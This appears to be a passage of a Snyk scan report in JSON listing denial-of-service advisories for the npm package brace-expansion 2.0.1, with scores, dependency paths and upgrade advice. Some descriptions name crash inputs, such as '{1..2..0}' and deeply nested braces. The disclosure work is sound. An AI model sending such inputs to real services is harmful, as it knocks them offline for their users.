"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub 